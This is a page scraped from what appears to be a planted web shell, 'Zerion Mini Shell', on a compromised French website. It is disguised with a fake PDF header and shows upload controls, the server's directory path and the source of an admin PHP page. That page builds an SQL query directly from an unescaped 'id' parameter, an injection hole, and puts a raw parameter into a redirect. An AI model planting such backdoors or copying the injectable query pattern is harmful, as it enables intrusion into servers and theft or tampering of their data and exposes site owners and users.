%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/test/
Upload File :
Create Path :
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/test/a-valider_page.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/session.php");
include_once("inc/init.php");

verif_co_admin();
$db = new BaseOps;
$page = new Page;
if(isset($_GET['invalide'])){
	$where="id=".$_GET['id'];
	$values = array(
		"valide" => 0
	);
}
else{
if($page->verif_blocs($_GET['id']))
{
	$where="id=".$_GET['id'];
	$values = array(
		"valide" => 1
	);
}
else {
	$where="id=".$_GET['id'];
	$values = array(
		"valide" => 2
	);
}
}
	
$db->update("page", $values,$where);

header("Location:editer_section.php?msg=yes&id=".$_GET['section']);

?>

Zerion Mini Shell 1.0